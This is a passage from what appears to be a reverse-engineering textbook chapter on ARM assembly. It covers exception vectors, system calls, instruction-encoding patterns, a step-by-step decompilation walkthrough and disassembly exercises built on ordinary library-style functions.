05: 44 E8 00 13   STREX.W   R3, R1, [R4] ; r3 is the result
06: 00 2B         CMP       R3, #0
07: F8 D1         BNE       loc_100C4B0

Pseudo C

if (InterlockedCompareExchange(&r4, 1, 0) == 0) { do stuff; }

Line 3 performs an atomic load into R2 and compares it against 0; if it is zero, 

then it is exchanged with zero and the result is returned in R3. This is actually 

the implementation of InterlockedCompareExchange in Windows.

From time to time, you will run into code using the DMB, DSB, and ISB instruc-

tions. These are barrier instructions that ensure that memory access and 

instruction fetches are synchronized before executing subsequent instructions. This 

is necessary in some cases because memory access and instructions can be executed 

out of order (i.e., the CPU might execute the instructions in a different order than 

what appears in the assembly code), and other executing threads may not see the 

updated result and consequently have an inconsistent view of the data. For this 

reason, you will often see these instructions used in code that implements locks.

System Services and Mechanisms

When an ARM core boots up, it starts executing code in the ARM state at the 

memory address 0x00000000 or 0xFFFF0000, depending on a setting in copro-

cessor 15. This is determined by the vector (V) bit in the system control register 

(CP15, C1/C0). If it is 0, then the exception vector is at 0x00000000; otherwise, it 

is at 0xFFFF0000. This address is usually in fl ash memory (RAM has not been 

initialized yet so it cannot be used), and the content therein is commonly known 

as the exception vectors. ARM has a list of predefi ned vectors starting at the base 

address. The RESET exception handler is fi rst in the table so it is executed after 

a reset event. Because it is the fi rst code to be executed, it usually begins by 

performing basic hardware confi guration and starts the boot process. Here is 

an exception vector taken from a real device:

01: 00000000 1A 00 00 EA   B  vect_RESET
02: 00000004 12 00 00 EA   B  vect_UNDEFINED_INSTRUCTION
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03: 00000008 12 00 00 EA   B  vect_SUPERVISOR_CALL ; (for SWI/SVC)
04: 0000000C 12 00 00 EA   B  vect_PREFETCHABORT
05: ...
06: 00000054             vect_UNDEFINED_INSTRUCTION
07: 00000054 FE FF FF EA   B  vect_UNDEFINED_INSTRUCTION
08: 00000058             vect_SUPERVISOR_CALL
09: 00000058 FE FF FF EA   B  vect_SUPERVISOR_CALL
10: 0000005C             vect_PREFETCHABORT
11: 0000005C FE FF FF EA   B  vect_PREFETCHABORT
12: ...
13: 00000070             vect_RESET
14: 00000070 1C F1 9F E5   LDR PC, =0x10000078
15:              ; code has been mapped at 0x10000078
16:              ; begin executing there
17: ...
18: 10000078 18 01 9F E5   LDR R0, =0x2001
19: 1000007C 11 0F 0F EE   MCR p15, 0, R0,c15,c1, 0
20:              ; initializes a vendor-specific register
21: 10000080 00 00 A0 E1   NOP
22: 10000084 00 00 A0 E1   NOP
23: 10000088 00 00 A0 E1   NOP
24: 1000008C 78 00 A0 E3   MOV R0, #0x78
25: 10000090 10 0F 01 EE   MCR p15, 0, R0,c1,c0, 0
26:              ; initializes system control register

After initializing hardware, the reset exception code jumps to a bootloader 

that is typically located in fl ash memory, removable media (MMC, SD card, etc.), 

or some other form of storage. Some devices use U-Boot, a popular, open-source 

bootloader. The bootloader performs more hardware initialization, reads an 

OS image from storage and maps it into main memory, and transfers control 

there. After that, the operating system boots up and the system is ready for use.

An operating system manages hardware resources and provides services 

to users. Because user code (usually in USR mode) runs at a lower privilege 

than kernel/OS code (usually SVC mode), it has to use an interface to request 

service from the OS. In practice, the interface is provided through a software 

interrupt or special trap instruction provided by the processor; the service is 

commonly implemented as system calls. (For example, on Linux x86, you can 

use interrupt 0x80 or the special instruction SYSENTER to issue a system call; on 

x64, this is provided by the SYSCALL instruction.) On ARM, there is no dedicated 

system-call instruction, so software interrupt is used to implement syscalls. 

When a software interrupt happens, the processor switches to supervisor mode 

to handle the interrupt. Software interrupts can be triggered by the SWI/SVC 

instruction. (These instructions are identical except they are named differently.) 
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Both instructions take an immediate as the parameter—some operating systems 

use this parameter as an index into a system call table; and some do not use the 

parameter but require the system call number to be in a register (for example, 

Windows uses R12 for this purpose). On some Linux systems, the syscall number 

is put in R7 and arguments are passed via R0-R2. For example:

Linux (Ubuntu)

01: 05 20 A0 E1   MOV    R2, R5    ; 3rd arg
02: 06 10 A0 E1   MOV    R1, R6    ; 2nd arg
03: 09 00 A0 E1   MOV    R0, R9    ; 1st arg
04: 92 70 A0 E3   MOV    R7, #0x92
; syscall number 
05: 00 00 00 EF   SVC    0 ; make the syscall
06: 04 00 70 E3   CMN    R0, #4
; check return value
07: 00 30 A0 13   MOVNE  R3, #0
; condition move based on return value

Windows RT

ZwCreateFile (in ntdll)
4F F0 53 0C   MOV.W    R12, #0x53
01 DF         SVC      1
70 47         BX       LR
          ; End of function ZwCreateFile

SVC transitions to supervisor mode, copies the relevant user registers into 

their own space, performs whatever function is requested, and returns when 

it is done. How does the SVC know where to return? Normally, it returns to the 

instruction after SVC. Before processing the exception, SVC mode copies 

the return address to R14_svc, which is a banked register in SVC mode. Banked 

registers are those that have meaning only in the context of a particular proces-

sor mode. For example, R13_svc and R14_svc are banked registers in SVC mode 

so they will have different values than R13–14 in USR mode.

While there is a dedicated instruction for software breakpoint BKPT, there are 

a few ways that it can be implemented. The fi rst is through the BKPT instruction, 

which triggers the prefetch abort exception handler; the handler can then pass 

control to a debugger. Another common method is to trigger the undefi ned 

instruction exception handler via an undefi ned instruction. The ARM instruc-

tion encoding has a reserved range that is guaranteed to be undefi ned.

Instructions

Every instruction in ARM state encodes an arithmetic condition to support 

conditional execution. By default, the condition is AL (always execute). This 
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condition is encoded in the four most signifi cant bits in the opcode (bits 28–31); 

AL is defi ned as 0b1110, which is 0xE. If you pay close attention to the assembly 

snippets (in ARM state), you will notice that the byte code usually has an 0xE* 

pattern at the end. In fact, if you look at the instructions in a hex editor, you will 

notice that 0xE* commonly occurs every four bytes. For example:

FE FF FF EA FE FF FF EA FE FF FF EA FE FF FF EA
FE FF FF EA 1C F1 9F E5 00 00 A0 E1 18 01 9F E5
11 0F 0F EE 00 00 A0 E1 00 00 A0 E1 00 00 A0 E1
78 00 A0 E3 10 0F 01 EE 00 00 A0 E1 00 00 A0 E1
00 00 A0 E1 00 00 A0 E3 17 0F 08 EE 17 0F 07 EE

Why is it important to know this pattern? Because ARM code is sometimes 

embedded in ROM or fl ash memory and may not follow a specifi c fi le for-

mat. In your reverse engineering journey, sometimes you will just be given 

a raw memory dump without much context, so it can be useful to guess the 

architecture by looking at the opcodes. The other reason is related to exploits. 

Shellcode can be embedded inside an exploit delivered over the network or in 

a document; to analyze it, you must extract the shellcode from the rest of the 

network traffi c. Sometimes it is straightforward and the shellcode boundary 

is obvious, other times it is not. However, if you can recognize the pattern, you 

can quickly guess the start/end of code. The ability to recognize instruction 

boundaries in a seemingly random blob of data is important. Maybe you will 

appreciate it later.

Walk-Through

Having learned all the fundamentals, you can apply them in this section by fully 

decompiling an unknown function. This function encompasses many concepts 

and techniques covered in this chapter, so it is an excellent way to put your 

knowledge to the test. Along the way, you will also learn new skills that were 

only hinted at in the early sections. Because the function is somewhat long, we 

put it in graph form to save space and improve readability. The function body 

is shown in Figure 2-6, and all the code line numbers discussed in this section 

refer to this fi gure.

Following is the context in which it is called:

01: 17 9B         LDR             R3, [SP,#0x5c]
02: 16 9A         LDR             R2, [SP,#0x58]
03: 51 46         MOV             R1, R10
04: 20 46         MOV             R0, R4
05: FF F7 98 FF   BL              unk_function
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07:             unk_function
08: 2D E9 78 48   PUSH.W   {R3-R6,R11,LR}
09: 0D F2 10 0B   ADDW     R11, SP, #0x10
10: 85 68         LDR      R5, [R0,#8]
11: 8C 69         LDR      R4, [R1,#0x18]
12: 1E 46         MOV      R6, R3
13: A5 42         CMP      R5, R4
14: 01 D0         BEQ      loc_103C4BE

18:      loc_103C4BE
19: 03 8A         LDRH     R3, [R0,#0x10]
20: 02 2B         CMP      R3, #2
21: FA D1         BNE      loc_103C4BA

22: 83 69         LDR      R3, [R0,#0x18]
23: 1A 40         ANDS     R2, R3
24: C3 69         LDR      R3, [R0,#0x1C]
25: 33 40         ANDS     R3, R6
26: 13 43         ORRS     R3, R2
27: F4 D1         BNE      loc_103C4BA

28: C3 68         LDR      R3, [R0,#0xC]
29: 00 68         LDR      R0, [R0]
30: 03 EB 43 02   ADD.W    R2, R3, R3,LSL#1
31: CB 68         LDR      R3, [R1,#0xC]
32: DB 68         LDR      R3, [R3,#0xC]
33: 03 EB C2 03   ADD.W    R3, R3, R2,LSL#3
34: 93 F9 16 40   LDRSB.W  R4, [R3,#0x16]
35: E9 F7 E6 F9   BL       foo ; assume this takes l arg
36: 61 28         CMP      R0, #0x61
37: 04 D0         BEQ      loc_103C4F6

38: 62 28         CMP      R0, #0x62
39: 04 D0         BEQ      loc_103C4FA

43:      loc_103C4F6
44: 61 2C         CMP      R4, #0x61
45: DF D1         BNE      loc_103C4BA

40: 63 2C         CMP      R4, #0x63
41: 02 DA         BGE      loc_103C4FA

46:      loc_103C4FA
47: 01 20         MOVS     R0, #1

42: E1 E7         B        loc_103C4BA

15:      loc_103C4BA
16: 00 20         MOVS     R0, #0
17: 1E E0         B        locret_103C4FC

48:      locret_103C4FC
49: BD E8 78 88   POP.W    {R3-R6,R11,PC}
50:             ; End of function unk_function

Figure 2-6

When approaching an unknown function (or any block of code), the fi rst step 

is to determine what you know for certain about it. The following list enumer-

ates these facts and how you know them:

 ■ The code is Thumb state and the instruction set is Thumb-2. You know 

this because: 1) prologue and epilogue (lines 1 and 49) use the PUSH/POP 

pattern; 2) instruction size is either 16 or 32 bits in width; 3) the disas-

sembler shows the .W prefi x for some instructions, indicating that they are 

using the 32-bit encoding.
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 ■ The function preserves R3–R6 and R11. You know this because they are saved 

and restored in the prologue (line 1) and epilogue (line 49), respectively.

 ■ The function takes at most four arguments (R0–R3) and returns a Boolean 

(R0). You know this because according to the ARM ABI (Application 

Binary Interface), the fi rst four parameters are passed in R0–R3 (the rest are 

pushed on the stack) and the return value is in R0.  It is “at most four” in 

this case because you saw that before calling the function in line 5, R0–R3 

are initialized with some values and you do not see any other instructions 

writing to the stack (for additional arguments). At this point, the function 

prototype is as follows:

 BOOL unk_function(int, int, int, int)

 ■ The fi rst two arguments’ type is “pointer to an object.” You know this 

because R0 and R1 are the base address in a load instruction (lines 10–11).  

The types are most likely structures because there is access to offset 0x10, 

0x18, 0x1c, and so on (line 10, 11, 19, 22, 24, 28, etc.). You can be nearly 

certain that they are not arrays because the access/load pattern is not 

sequential. It is uncertain whether R0 and R1 are pointers to one or two 

different structure types without further context. For now, you can assume 

that they are two different types. You update the prototype as follows:

BOOL unk_function(struct1 *, struct2 *, int, int)

 ■ loc_103C4BA is the exit path to return 0; loc_103C4FA is the exit path to 

return 1; and locret_103C4FC returns from the function. Hence, branches 

to these locations indicate that you are done with the function.

 ■ The third and fourth arguments are of type integer. You know this because 

R2 and R3 are being used in AND/ORR operations (lines 23, 25, and 26). While 

there is indeed a possibility that they can be pointers, it is unlikely to be 

the case unless they were encoding/decoding pointers; and even if they 

were pointers, you should see them being used in load/store operations 

but you don’t.

 ■ Even though R11 is adjusted to be 0x10 bytes above the stack pointer, it 

is never used after that instruction. Hence, it can be ignored.

 ■ The function foo (line 35) takes one argument. Its entire body is not included 

here due to space constraints. Just assume this is a given for the sake of 

simplicity.

Having enumerated known facts, you now need to use them to logically derive 

other useful facts. The next important task is to delve into the two unknown 

structures identifi ed. Obviously you cannot recover its entire layout because 

only some of its elements are referenced in the function; however, you can still 

infer the fi eld type information.

R0 is of type struct1 *. In line 10, it loads a fi eld member at offset 0x8 and then 

compares it with R4 (line 13). R4 is a fi eld member at offset 0x18 in the structure 

struct2 (R1). Because they are being compared to each other, you know that they 
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are of the same type. Line 13 compares these two fi elds. If they are equal, then 

execution proceeds to loc_103C4BE; otherwise, 0 is returned (line 15). Because 

of the equality compare, you can infer that these two fi elds are integers.

Line 19 loads another fi eld member from struct1 and compares it against 2; 

if it is not equal, then 0 is returned (line 21). You can infer that the fi eld type is 

a short because of the LDRH instruction (loads a half-word).

Lines 22–23 load another fi eld member from struct1 and ANDs it against the 

third argument (which is assumed to be an integer). Lines 25–27 do something 

similar with the fourth argument. Because of these operations, you can infer 

that fi eld members at offset 0x18 and 0x1c are integers.

The structure defi nitions so far are as follows:

struct1
...
   +0x008 field08_i ; same type as struct2.field18_i
...
   +0x010 field10_s ; short
...
   +0x018 field18_i ; int
   +0x01c field1c_i ; int

struct2
...
   +0x018 field18_i ; same type as struct1.field08_i

N O T E  For struct fi eld names, you might follow the habit of indicating the off set and 

the “type.” For example, an “I” suffi  x means integer (or some generic 32-bit type), “s” 

means short (16-bit), “c” means char (1 byte), and “p” means pointer of some type. This 

enables you to quickly remember what their types are. When you determine their true 

purpose, you can then rename them to something more meaningful.

Given these types, you can already recover the pseudo-code of everything 

from line 1 to 27. It is as follows:

struct1 *arg1 = ...;
struct1 *arg2 = ...;
int arg3 = ...;
int arg4 = ...;

BOOL result = unk_function(arg1, arg2, arg3, arg4);
if (arg1->field08_i == arg2->field18_i) {
  if (arg1->field10_s != 2) return 0;
  if ( ((arg1->field18_i & arg3) |
        (arg1->field1c_i & arg4)
       ) != 0
     ) return 0; 
...
} else {
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  return 0;
}

N O T E  It is a bit suspicious that the AND operation is being used on two adjacent 

integer fi elds. This usually means that they are actually 64-bit integers split into two 

registers/memory locations. This is a common pattern used to access 64-bit constants 

on 32-bit architectures.

Astute readers will notice that lines 25–27 may seem a bit redundant. ANDS sets 

the condition fl ags, ORRS immediately overwrites it, and BNE takes the fl ag from 

ORRS; hence, the conditions set by ANDS are really not necessary. The compiler 

generates this redundancy because it is optimizing for code density: AND will 

be 4 bytes long, but ANDS is only 2 bytes. MOV and MOVS are also subjected to the 

same optimization. You will often see this pattern in code optimized for Thumb.

Line 28 loads another fi eld from struct1 into R3; line 29 loads from offset 

zero of the same structure into R0; and line 30 sets R2 to R3*3 (=R3+(R3<<1)). 

Line 31 loads a fi eld from struct2 into R3 and then accesses another fi eld using 

that as a base pointer. This implies that you have a pointer to another structure 

inside struct2 at offset 0xC. Line 32 loads a fi eld from that new structure into 

R3; line 33 updates it to be R3+R2*8; and line 34 uses that as a base address and 

loads a signed short value at offset 0x16 of another structure into R4. 

Let’s update the structure defi nition before continuing:

struct1
   +0x000 field00_i ; int
...
   +0x008 field08_i ; same type as struct2.field18_i
   +0x00c field0c_i ; integer
...
   +0x010 field10_s ; short
...
   +0x018 field18_i ; int
   +0x01c field1c_i ; int
...

struct2
...
   +0x00c field0c_p ; struct3 *
...
   +0x018 field18_i ; same type as struct1.field08_i
...

struct3
...
   +0x00c field0c_p ; struct4 *
...

struct4 (size=0x18=24) // why?
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...
   +0x016 field16_c; char
   +0x017 end

You could deduce that there was an array involved because of the multiplica-

tion/scaling factor (lines 30 and 33); there were not two arrays because R2–R3 

in line 30 is not a base address but an index. Also, it does not make sense for a 

base address to be multiplied by 3. The base address of the array is R3 in line 

33 because it is being indexed with R2. You inferred that each array element 

must be 0x18 (24) because after simplifi cation, it was R2*3*8, where R2 is the 

index and 24 is the scale.

Figure 2-7 illustrates the relationships between the four structures.

struct1

+00 field00_i

+08 field08_i

+0c field0c_i

+10 field10_a

+18 field18_i

+1c field1c_a

struct2 struct3
[0]

[1]

= i

[2]

[3]

[i−1]

struct4

struct4

struct4

…

…

…

…

…

…

+18 field18_i

+10 field10_a

+0c field0c_p

…

…

+0c field0c_p

…

+17 field17_c

+16 field16_c

…

…

…

0×18 bytes

Figure 2-7

Here is the pseudo-code for lines 28–35:

r3 = arg1->field0c_i;
r2 = r3 + r3<<1
   = arg1->field0c_i*3;
r3 = arg2->field0c_p;
r3 = arg2->field0c_p->field0c_p;
r3 = arg2->field0c_p->field0c_p + r2*8
   = arg2->field0c_p->field0c_p + arg1->field0c_i*24;
   = arg2->field0c_p->field0c_p[arg1->field0c_i];
r4 = arg2->field0c_p->field0c_p[arg1->field0c_i].field16_c;
r0 = foo(arg1->field00_i);

The rest of the function is simply comparing the return value from foo and 

r4. The full pseudo-code now looks like this:

struct1 *arg1 = ...;
struct2 *arg2 = ...;
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int arg3 = ...;
int arg4 = ...;

BOOL result = unk_function(arg1, arg2, arg3, arg4);

BOOL unk_function(struct1 *arg1, struct2 *arg2, int arg3, int arg4)
{
  char a;
  int b;
  if (arg1->field08_i == arg2->field18_i) {
    if (arg1->field10_s != 2) return 0;
    if ( ((arg1->field18_i & arg3) |
          (arg1->field1c_i & arg4)
         ) != 0
       ) return 0; 
    b = foo(arg1->field00_i);
    a = arg2->field0c_p->field0c_p[arg1->field0c_i].field16_c;
    if (b == 0x61 && a != 0x61) {
      return 0;
    } else { return 1;}
    if (b == 0x62 && a >= 0x63) {
      return 1;
    } else { return 0;}
  } else {
   return 0;
  }
}

While this function used multiple, interconnected data structures whose full 

layout is unclear, you can see how you were still able to recover some of the fi eld 

types and their relationship with others. You also learned how to recognize a 

type’s width and signedness by considering the instruction and conditional 

code associated with them.

Next Steps

This chapter provided the fundamental skills required to statically reverse engi-

neer ARM code. We intentionally avoided writing an instruction manual and 

left out many details; to improve your skills, you will need to do the exercises, 

practice, and read the ARM manuals (these activities go together). The technical 

reference manual can be somewhat dense, but the knowledge acquired from 

this chapter will make it much easier to understand.

Your next step should be to buy an ARM device and experiment with it. There 

are many ARM devices to choose from, but perhaps the two most conducive 

to learning are the BeagleBoard and the PandaBoard. These are development 

boards intended to introduce people to embedded development on the ARM 
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platform; they are relatively powerful, cheap ($150–$170), well-documented, 

and have a large user community. (You may not run into many people who 

understand ARM assembly, but that’s okay because you already read this chap-

ter. The areas for which you may need help are usually related to the onboard 

peripherals and how they are programmed/controlled.) You can install Linux 

with a full development environment on these boards, so it is very simple to 

test your knowledge of ARM.

Exercises

The exercises are included to ensure that you have a good understanding of the 

concepts and to raise your motivation. Some of the exercises were intentionally 

selected to include instructions that were not covered in the chapter so that 

you get used to reading the manual (a very important habit); calling context is 

also omitted to make you think more. Every function is self-contained to facili-

tate complete decompilation; some are selected such that you can verify your 

answer if you have done enough of them. It is recommended that you write 

comments and notes, and draw connections between branches/labels, on the 

exercise themselves.

For the code in each exercise, do the following in order (whenever possible):

 ■ Determine whether it is in Thumb or ARM state.

 ■ Explain each instruction’s semantic. If the instruction is LDR/STR, explain 

the addressing mode as well.

 ■ Identify the types (width and signedness) for every possible object. For 

structures, recover fi eld size, type, and friendly name whenever possible.  

Not all structure fi elds will be recoverable because the function may only 

access a few fi elds. For each type recovered, explain to yourself (or some-

one else) how you inferred it.

 ■ Recover the function prototype.

 ■ Identify the function prologue and epilogue.

 ■ Explain what the function does and then write pseudo-code for it.

 ■ Decompile the function back to C and give it a meaningful name.

 1. Figure 2-8 shows a function that takes two arguments. It may seem some-

what challenging at fi rst, but its functionality is very common.  Have 

patience.

 2. Figure 2-9 shows a function that was found in the export table.
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 3. Here is a simple function:

01:             mystery3
02: 83 68         LDR             R3, [R0,#8]
03: 0B 60         STR             R3, [R1]
04: C3 68         LDR             R3, [R0,#0xC]
05: 00 20         MOVS            R0, #0
06: 4B 60         STR             R3, [R1,#4]
07: 70 47         BX              LR
08:             ; End of function mystery3

 4. Figure 2-10 shows another easy function.

 5. Figure 2-11 is simple as well. The actual string names have been removed 

so you cannot cheat by searching the Internet.

 6. Figure 2-12 involves some twiddling.

 7. Figure 2-13 illustrates a common routine, but you may not have seen it 

implemented this way.

 8. In Figure 2-14, byteArray is a 256-character array whose content is byte-

Array[] = {0, 1, …, 0xff}.

 9. What does the function shown in Figure 2-15 do?

 10. Figure 2-16 is a function from Windows RT. Read MSDN if needed. Ignore 

the security PUSH/POP cookie routines.

 11. In Figure 2-17, sub_101651C takes three arguments and returns nothing. 

If you complete this exercise, you should pat yourself on the back.
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12: 01 30 80 E2   ADD      R3, R0, #1

13:      loc_B2B8
14: 03 00 A0 E1   MOV      R0, R3
15: 01 20 D3 E4   LDRB     R2, [R3],#1
16: 30 00 52 E3   CMP      R2, #0x30
17: FB FF FF 0A   BEQ      loc_B2B8

18:      loc_B2C8
19: 00 C0 A0 E3   MOV      R12, #0
20: 00 40 A0 E3   MOV      R4, #0
21: 00 50 A0 E3   MOV      R5, #0
22: 0A 80 A0 E3   MOV      R8, #0xA
23: 01 00 00 EA   B        loc_B2E4

49: 00 00 56 E3   CMP      R6, #0
50: 01 00 00 0A   BEQ      loc_B33C 

24:      loc_B2DC
25: 07 40 92 E0   ADDS     R4, R2, R7
26: C7 5F A3 E0   ADC      R5, R3, R7,ASR#31

01:             mystery1
02: F0 01 2D E9   STMFD    SP!, {R4–R8}
03: 00 30 D0 E5   LDRB     R3, [R0]
04: 2D 00 53 E3   CMP      R3, #0x2D
05: 29 00 00 0A   BEQ      loc_B348

06: 2B 00 53 E3   CMP      R3, #0x2B
07: 00 60 A0 E3   MOV      R6, #0
08: 01 30 F0 05   LDREQB   R3, [R0,#1]!

40:      loc_B310
41: F0 01 BD E8   LDMFD    SP!, {R4–R8}
42: 1E FF 2F E1   BX       LR

09:      loc_B2AC
10: 30 00 53 E3   CMP      R3, #0x30
11: 04 00 00 1A   BNE      loc B2C8

33: 09 00 57 E3   CMP      R7, #9
34: 98 35 23 E0   MLA      R3, R8, R5, R3
35: 04 00 00 CA   BGT      loc_B318

36: 0B 00 5C E3   CMP      R12, #0xB
37: F3 FF FF 1A   BNE      loc_B2DC 

57:      loc_B348
58: 01 30 F0 E5   LDRB     R3, [R0,#1]!
59: 01 60 A0 E3   MOV      R6, #1
60: D5 FF FF EA   B        loc_B2Ac
61:             ; End of function mystery1 

27:      loc_B2E4
28: 0C 70 D0 E7   LDRB     R7, [R0,R12]
29: 01 c0 8C E2   ADD      R12, R12, #1
30: 94 28 83 E0   UMULL    R2, R3, R4, R8
31: 30 70 57 E2   SUBS     R7, R7, #0x30
32: 07 00 00 4A   BMI      loc_B318

43:      loc_B318
44: 06 20 54 E0   SUBS     R2, R4, R6
45: C6 3F C5 E0   SBC      R3, R5, R6,ASR#31
46: 02 01 52 E3   CMP      R2, #0x80000000
47: 00 00 D3 E2   SBCS     R0, R3, #0
48: F7 FF FF AA   BGE      loc_B30c

38:      loc_B30C
39: 00 00 A0 E3   MOV      R0, #0

51: 00 40 74 E2   RSBS     R4, R4, #0
52: 00 50 E5 E2   RSC      R5, R5, #0

53:      loc_B33C
54: 00 40 81 E5   STR      R4, [R1]
55: 01 00 A0 E3   MOV      R0, #1
56: F1 FF FF EA   B        loc_B310

Figure 2-8
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01:             mystery2
02: 28 B1         CBZ      R0, loc_C672

03: 90 F8 63 00   LDRB.W   R0, [R0,#0x63]
04: 00 38         SUBS     R0, #0
05: 18 BF         IT NE
06: 01 20         MOVNE    R0, #1
07: 70 47         BX              LR

08:             loc_C672
09: 01 20         MOVS     R0, #1
10: 70 47         BX              LR
11:             ; End of function mystery2

Figure 2-9

01:             mystery4
02: 08 B9         CBNZ     R0, loc_100C3DA

03: 00 20         MOVS     R0, #0
04: 70 47         BX       LR

05:             loc_100C3DA
06: 50 F8 08 0C   LDR.W    R0, [R0,#–8] 
07: 70 47         BX       LR
08:             ; End of function mystery4

Figure 2-10

01:   mystery5
02: 03 46    MOV   R3, R0
03: 06 2B    CMP   R3, #6
04: 0D D0    BEQ   loc_1032596

22:   loc_1032596
23: 01 48    LDR   R0, =aE ; "E"
24: 70 47    BX    LR
25:   ; End of function mystery5

05: 07 2B    CMP   R3, #7
06: 09 D0    BEQ   loc_1032592

07: 08 2B    CMP   R3, #8
08: 05 D0    BEQ   loc_103258E

11: 09 48    LDR   R0, =aA ; "A"
12: 70 47    BX    LR

09: 09 2B    CMP   R3, #9
10: 01 D0    BEQ   loc_103258A

19:   loc_1032592
20: 03 48    LDR   R0, =aD ; "D"
21: 70 47    BX    LR 

16:   loc_103258E
17: 05 48    LDR   R0, =ac ; "C"
18: 70 47    BX    LR

13:   loc_103258A
14: 07 48    LDR   R0, =aB ; "B"
15: 70 47    BX    LR

Figure 2-11
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01:             mystery6
02: 2D E9 18 48   PUSH.W   {R3,R4,R11,LR}
03: 0D F2 08 0B   ADDW     R11, SP, #8
04: 04 68         LDR      R4, [R0]
05: 00 22         MOVS     R2, #0
06: 00 2C         CMP      R4, #0
07: 06 DD         BLE      loc_103B3B6

08:      loc_103B3A8
09: 50 F8 04 3F   LDR.W    R3, [R0,#4]!
10: 8B 42         CMP      R3, R1
11: 06 D0         BEQ      loc_103B3BE

12: 01 32         ADDS     R2, #1
13: A2 42         CMP      R2, R4
14: F8 DB         BLT      loc_103B3A8

15:      loc_103B3B6
16: 00 20         MOVS     R0, #0
17: 00 21         MOVS     R1, #0

18:      locret_103B3BA
19: BD E8 18 88   POP.W    {R3,R4,R11,PC}

20:      loc_103B3BE
21: B2 F1 20 03   SUBS.W   R3, R2, #0X20
22: 01 21         MOVS     R1, #1
23: 99 40         LSLS     R1, R3
24: 01 23         MOVS     R3, #1
25: 13 FA 02 F0   LSLS.W   R0, R3, R2
26: F5 E7         B        locret_103B3BA
27:             ; End of function mystery6

Figure 2-12

01:             mystery7
02: 02 46         MOV      R2, R0
03: 08 B9         CBNZ     R0, loc_100E1D8

06:      loc_100E1D8
07: 90 F9 00 30   LDRSB.W  R3, [R0]
08: 02 E0         B        loc_100E1E4

15: 10 1A         SUBS     R0, R2, R0
16: 6F F3 9F 70   BFC.W    R0, #0x1E, #2
17: 70 47         BX       LR
18:             ; End of function mystery7

04: 00 20         MOVS     R0, #0
05: 70 47         BX       LR 

12:      loc_100E1E4
13: 00 2B         CMB      R3, #0
14: FA D1         BNE      loc_100E1DE

09:      loc_100E1DE
10: 01 32         ADDS     R2, #1
11: 92 F9 00 30   LDRSB.W  R3, [R2]

Figure 2-13
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01:             mystery8
02: 2D E9 78 48   PUSH.W   {R3–R6,R11,LR}
03: 0D F2 10 0B   ADDW     R11, SP, #0x10
04: 0C 4E         LDR      R6, =byteArray
05: 09 E0         B        loc_100E34C

10: 0B 78         LDRB     R3, [R1]
11: 9C 5D         LDRB     R4, [R3,R6]
12: AB 5D         LDRB     R3, [R5,R6]
13: A3 42         CMP      R3, R4
14: 04 D1         BNE      loc_100E352 

32:      locret_100E364
33: BD E8 78 88   POP.W    {R3–R6,R11,PC}
34:             ; End of function mystery8

26:      loc_100E35A
27: 0B 78         LDRB     R3, [R1]
28: 9A 5D         LDRB     R2, [R3,R6]
29: 03 78         LDRB     R3, [R0]
30: 9B 5D         LDRB     R3, [R3,R6]
31: 98 1A         SUBS     R0, R3, R2

06:      loc_100E338
07: 05 78         LDRB     R5, [R0]
08: 01 3A         SUBS     R2, #1
09: 4D B1         CBZ      R5, loc_100E352

17:      loc_100E34C
18: 00 2A         CMP      R2, #0
19: F3 DC         BGT      loc_100E338

21:      loc_100E352
22: 00 2A         CMP      R2, #0
23: 01 DA         BGE      loc_100E35A

20: 01 3A         SUBS     R2, #1

15: 01 30         ADDS     R0, #1
16: 01 31         ADDS     R1, #1

24: 00 20         MOVS     R0, #0
25: 04 E0         B        locret_100E364

Figure 2-14
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18:      loc_100E318
19: 0B 78         LDRB     R3, [R1]
20: 5A 5D         LDRB     R2, [R3,R5]
21: 03 78         LDRB     R3, [R0]
22: 5B 5D         LDRB     R3, [R3,R5]
23: 98 1A         SUBS     R0, R3, R2
24: BD E8 30 88   POP.W    {R4,R5,R11,PC}
25:             ; End of function mystery9

01:             mystery9
02: 2D E9 30 48   PUSH.W   {R4,R5,R11,LR}
03: 0D F2 08 0B   ADDW     R11, SP, #8
04: 09 4D         LDR      R5, =byteArray
05: 06 E0         B        loc_100E312

06:      loc_100E304
07: 0B 78         LDRB     R3, [R1]
08: 5A 5D         LDRB     R2, [R3,R5]
09: 63 5D         LDRB     R3, [R4,R5]
10: 93 42         CMP      R3, R2
11: 04 D1         BNE      loc_100E318

14:      loc_100E312
15: 04 78         LDRB     R4, [R0]
16: 00 2C         CMP      R4, #0
17: F5 D1         BNE      loc_100E304

12: 01 30         ADDS     R0, #1
13: 01 31         ADDS     R1, #1

Figure 2-15
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01:             mystery10
02: 2D E9 70 48   PUSH.W   {R4–R6,R11,LR}
03: 0D F2 0C 0B   ADDW     R11, SP, #0xC
04: 37 F0 CC F9   BL       __security_push_cookie
05: 84 B0         SUB      SP, SP, #0x10
06: 0D 46         MOV      R5, R1
07: 00 24         MOVS     R4, #0
08: 10 2D         CMP      R5, #0x10
09: 16 46         MOV      R6, R2
10: 0C D3         BCC      loc_1010786

24:      loc_1010786
25: 2B 1B         SUBS     R3, R5, R4
26: 04 2B         CMP      R3, #4
27: 04 D3         BCC      loc_1010796

11: 1A 4B         LDR      R3, =__imp_GetSystemTime
12: 68 46         MOV      R0, SP
13: 1B 68         LDR      R3, [R3]
14: 98 47         BLX      R3
15: 00 9B         LDR      R3, [SP,#0x1C+var_1C]
16: 10 24         MOVS     R4, #0x10
17: 33 60         STR      R3, [R6]
18: 01 9B         LDR      R3, [SP,#0x1C+var_18]
19: 73 60         STR      R3, [R6,#4]
20: 02 9B         LDR      R3, [SP,#0x1C+var_14]
21: B3 60         STR      R3, [R6,#8]
22: 03 9B         LDR      R3, [SP,#0x1C+var_10]
23: F3 60         STR      R3, [R6,#0xC]

28: 11 4B         LDR      R3, =__imp_GetCurrentProcessId
29: 1B 68         LDR      R3, [R3]
30: 98 47         BLX      R3
31: 30 51         STR      R0, [R6,R4]
32: 04 34         ADDS     R4, #4

33:      loc_1010796
34: 2B 1B         SUBS     R3, R5, R4
35: 04 2B         CMP      R3, #4
36: 04 D3         BCC      loc_10107A6

37: 0C 4B         LDR      R3, =__imp_GetTickCount
38: 1B 68         LDR      R3, [R3]
39: 98 47         BLX      R3
40: 30 51         STR      R0, [R6,R4]
41: 04 34         ADDS     R4, #4

42:      loc_10107A6
43: 2B 1B         SUBS     R3, R5, R4
44: 08 2B         CMP      R3, #8
45: 09 D3         BCC      loc_10107C0

46: 07 4B         LDR      R3, =__imp_QueryPerformanceCounter
47: 68 46         MOV      R0, SP
48: 1B 68         LDR      R3, [R3]
49: 98 47         BLX      R3
50: 00 9B         LDR      R3, [SP,#0x1C+var_1C]
